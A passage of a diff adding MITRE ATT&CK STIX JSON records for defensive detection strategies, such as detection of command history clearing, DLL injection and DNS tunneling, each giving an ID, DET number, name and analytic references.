"https://attack.mitre.org/detectionstrategies/DET0251", + "external_id": "DET0251" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Cloud Group Enumeration via API and CLI Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ef4f995e-6f20-42b7-802e-555ac54ab7b9", + "x-mitre-analytic--bb94692e-e73c-449c-a17e-0658bebbfd93", + "x-mitre-analytic--54ae99be-c089-4e96-97f5-52af2892ae25" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dcc65927-b113-4f42-b7bd-adb6caebf24a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0165", + "external_id": "DET0165" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Command History Clearing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0ebcdeba-7b02-4f1c-96c9-a602b3663446", + "x-mitre-analytic--9199891a-1543-4f51-be59-4fffb03dfd43", + "x-mitre-analytic--01b79770-a269-4b4d-bf09-a4760bae9c94", + "x-mitre-analytic--d17e0719-d338-47eb-a5b4-8616749584cf", + "x-mitre-analytic--7879313f-abf1-487a-b4d3-813f385ddce3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8582f5e6-44a5-4950-b7e8-a3e1b6d58d63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0516", + "external_id": "DET0516" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Command and Scripting Interpreter Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fee823fd-f31e-4898-820e-322e49574438", + "x-mitre-analytic--3b02d81a-8684-4fc8-8364-127f30359282", + "x-mitre-analytic--4a32d0e6-9486-4bbb-8807-7f913f96f448", + "x-mitre-analytic--533d13df-5317-45dd-a544-c26d0192d6b2", + "x-mitre-analytic--9e03886b-155c-4483-9d92-dad6a7d8543b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e9c54806-2d8e-4722-805c-4a1e7f6a1986", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0389", + "external_id": "DET0389" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of DLL Injection via Windows API", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a06e9154-5584-4f5d-be47-b420d79674c7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c2721658-fa76-4b6f-9f84-50618de81ae0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0400", + "external_id": "DET0400" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of DNS Tunneling and Application Layer Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--407bb9c9-0c31-4172-8dd3-bdd0547f2d1e", + "x-mitre-analytic--cc8183e1-9de4-469a-9117-79bf2e986e31", + "x-mitre-analytic--42a8c7a7-2773-4892-b647-40d3542ae4d2", + "x-mitre-analytic--fe648823-66c8-4cc3-8a8e-38616194464c", + "x-mitre-analytic--11d8dd9d-e8f3-40cd-b9fe-cc82b6c2e790" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--69f22425-2ebb-4f3c-ab4d-fb9c6645f2f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0360", + "external_id": "DET0360" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Domain Group Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2385f397-5d17-4b37-ba07-bb52a52ff66c", + "x-mitre-analytic--3415a6fa-a447-42f3-8155-68cf5d7cbcb3", + "x-mitre-analytic--23fa40ac-79d0-400a-a017-8e06cfc67e6c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c5e3823f-5ee0-43db-b6fa-b63d6587b24c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0010", + "external_id": "DET0010" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Event Triggered Execution Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9418d7e2-666f-4f73-9ac7-96b32005e9b7", + "x-mitre-analytic--92d182e9-6723-43e4-9eab-f00aa6d53153", + "x-mitre-analytic--636b1cca-1fc4-4909-ac33-c2b2a7d69e02", + "x-mitre-analytic--0fb1d87b-e993-447e-8a2f-e9d42f6859c0", + "x-mitre-analytic--982100e1-6d38-4d0e-b36d-7e2d2cf5a424", + "x-mitre-analytic--d8e18081-2670-4a88-9246-59a1dc52c51c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--33bbfada-99c8-4cac-8b21-fa013959001d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0590", + "external_id": "DET0590" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of External Website Defacement across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--67febd8b-36fe-4f72-8647-95fe449ecb5d", + "x-mitre-analytic--1affb8e9-25b4-49c1-b290-687e9696fa83", + "x-mitre-analytic--c9b3d194-843a-4f65-ad8b-4b3192571fc5", + "x-mitre-analytic--afd585f3-20fa-4bd8-8930-243cb5dbe5f8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ee1c44c9-c5aa-4a9c-9e68-49854ed4d602", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0499", + "external_id": "DET0499" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Fallback or Alternate C2 Channels", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fcb2ed1a-2f39-47e8-9524-95ceac0ff383", + "x-mitre-analytic--a50c90f1-51b1-4948-8945-4b89735d4750", + "x-mitre-analytic--3e682b33-5064-4202-aad7-ca1900fde1a5", + "x-mitre-analytic--5e7eea18-14f5-4d76-b5cc-bc63a0e5ce65" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7225a3bd-f235-4c13-a236-3c6b9a3d445c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0184", + "external_id": "DET0184" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Indicator Removal Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4416c78b-902b-4baa-9a5d-26f0b7e5d78d", + "x-mitre-analytic--1fbe9da1-a760-4ac9-8ab0-59203a50fb82", + "x-mitre-analytic--2f0f5c7a-18ee-462e-b364-b1d8df3b2c02", + "x-mitre-analytic--b3d533fc-010a-4ee8-b234-80f98e2443a0", + "x-mitre-analytic--f9b13a61-0110-4882-9384-3468d22ac221", + "x-mitre-analytic--c15d6b5e-bbb7-4dc7-8b59-8ce2c0663c05" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c922d994-74bd-4847-a870-c0ae216318c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0102", + "external_id": "DET0102" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Input Capture Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dd283114-84d8-4b1a-a765-f3a7f378c2d1", + "x-mitre-analytic--79f3bf7a-cf35-442c-b707-ba4dabd6ed62", + "x-mitre-analytic--13f8fd10-3982-4a10-85c1-4641712c7286", + "x-mitre-analytic--6db136be-4e41-4cb7-8237-eee81ee6a3cd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--24eeb599-bc8c-4e86-9adf-232153bcb14b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0357", + "external_id": "DET0357" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Internet Connection Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--aa2dc7aa-0cc5-4a75-96b2-8c089c46944b", + "x-mitre-analytic--bdba541c-3a01-4a6d-95ae-15e283f2909b", + "x-mitre-analytic--1443f662-d249-4458-b8fe-2c2da7b64569", + "x-mitre-analytic--ef76221d-d5fe-4285-af27-54711e94e2b5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fe0d7d82-1575-4685-9a4f-4bf83e0227a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0089", + "external_id": "DET0089" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Keylogging Activity Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7924d1b1-a512-425f-b397-9e9b9887b21b", + "x-mitre-analytic--0c122a8e-bcb0-4756-8a63-193c52d61d90", + "x-mitre-analytic--da140e65-e30c-4cf2-8961-82fb200a7f0b", + "x-mitre-analytic--63a1b615-8389-4776-a79c-6db04037a7b7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--de120f6a-c19b-4346-b62f-c8cd95fcb291", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0114", + "external_id": "DET0114" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Local Group Enumeration Across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--78f4f0fe-55ef-4598-85ac-865cba1920d3", + "x-mitre-analytic--a62a2b36-00e9-481c-9a3a-14c14cd42dae", + "x-mitre-analytic--66923fbc-1d4d-4945-89dd-102a8e2c6122" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--20d79eae-0c09-410a-b99a-f8cb6ec9153c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0520", + "external_id": "DET0520" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Log File Clearing on Linux and macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6ffa0db8-a088-4e7a-b8e5-50a204762cca", + "x-mitre-analytic--b4e2440e-8956-4ae6-94cb-da859f407f27" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--08633541-0006-480a-a2d9-e1c81952cc71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0266", + "external_id": "DET0266" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Mailbox Data and Log Deletion for Anti-Forensics", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ddbf61e2-7dad-40ef-90ef-7bec707b50fd", + "x-mitre-analytic--9933242a-f96e-4b3e-896f-e7335f410a4f", + "x-mitre-analytic--cd10c7fd-edef-4f85-aff3-9eaa35906b18", + "x-mitre-analytic--dff59103-f6d4-4580-8316-a0528768b4b3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e7bd0f37-f2cf-4e3c-a9c1-c41f63b67e1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0078", + "external_id": "DET0078" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Malicious Cloud API Scripting", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fb933fd5-5dd8-4879-b2bb-e68bc26ff60d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b96fce76-6b29-4e1c-b8b1-741f45a89fdc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0140", + "external_id": "DET0140" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Malicious File Deletion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b1ee9791-91f8-4788-9e08-c40eedbcf08b", + "x-mitre-analytic--874f0437-1aab-4cfe-a30a-7586c0602b6f", + "x-mitre-analytic--175bf607-fca6-4555-a30b-3d6cd4cfe876", + "x-mitre-analytic--3f53ca22-5efe-43b3-8225-5fdd4b8a8194" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--408aedab-4a23-41ad-809d-fe9c3805b7f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0127", + "external_id": "DET0127" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Masquerading Across Platforms via Metadata and Execution Discrepancy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e3d982ec-2729-4e98-b340-affa13096fd6", + "x-mitre-analytic--3191336e-8cdb-4d41-80a4-aa2ab869f7bf", + "x-mitre-analytic--7ebea786-db9c-439d-9caf-d0dd740047f3", + "x-mitre-analytic--6927a2ad-c56f-4e87-9392-6e3eef07e57e", + "x-mitre-analytic--f3dfb562-94ef-44ea-be4f-17ac2d0771b5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--36654ec6-5019-4e79-b299-1fbf3a03e064", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0529", + "external_id": "DET0529" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2a23296d-70f2-4e04-9a97-62d093ad1765", + "x-mitre-analytic--552ff82d-467b-4aeb-a4c3-084ca24dbd3e", + "x-mitre-analytic--5e02fe2a-7659-4871-b79e-7ea57373aa37" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--45ac24cf-b8f4-44d5-97e1-3efe2bf28abc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0049", + "external_id": "DET0049" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Network History and Configuration Tampering", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d71c4839-8d23-41f4-b59a-8bd2c3517d1e", + "x-mitre-analytic--0bd02555-3b54-4425-84c8-118b95857df1", + "x-mitre-analytic--d01951d8-aae8-48b6-afd3-68c86fc167b1", + "x-mitre-analytic--5258feec-def7-43e0-bbe9-459ba53d3e28" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--00060b87-7f99-45aa-9553-a4d94139195c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0103", + "external_id": "DET0103" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5d47e6b2-04fb-45ab-be98-7de1baabf508" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e3758cbb-5dd9-4aad-b848-0539a8c56307", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0378", + "external_id": "DET0378" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Obfuscated Files or Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1dee558e-720e-4f3b-9414-192a63eb8909", + "x-mitre-analytic--3e7ff1f9-57e2-44f4-8dc1-20d1a1652f73", + "x-mitre-analytic--1c2e527f-b9ff-4e1d-896d-0c1257f0abc1", + "x-mitre-analytic--97a188cf-5851-4cb7-9bb5-17702707d52b", + "x-mitre-analytic--f1ec63bc-294c-471c-ae9f-4dd70f3c036a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--65c18137-cad3-4fd3-8b24-22a61850c8a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0106", + "external_id": "DET0106" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of PE Injection via Remote Memory Mapping", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d845dc30-6950-4f0c-9342-29b7a7315bd2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--685546e7-2ec3-4bfa-9109-86df9fb196ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 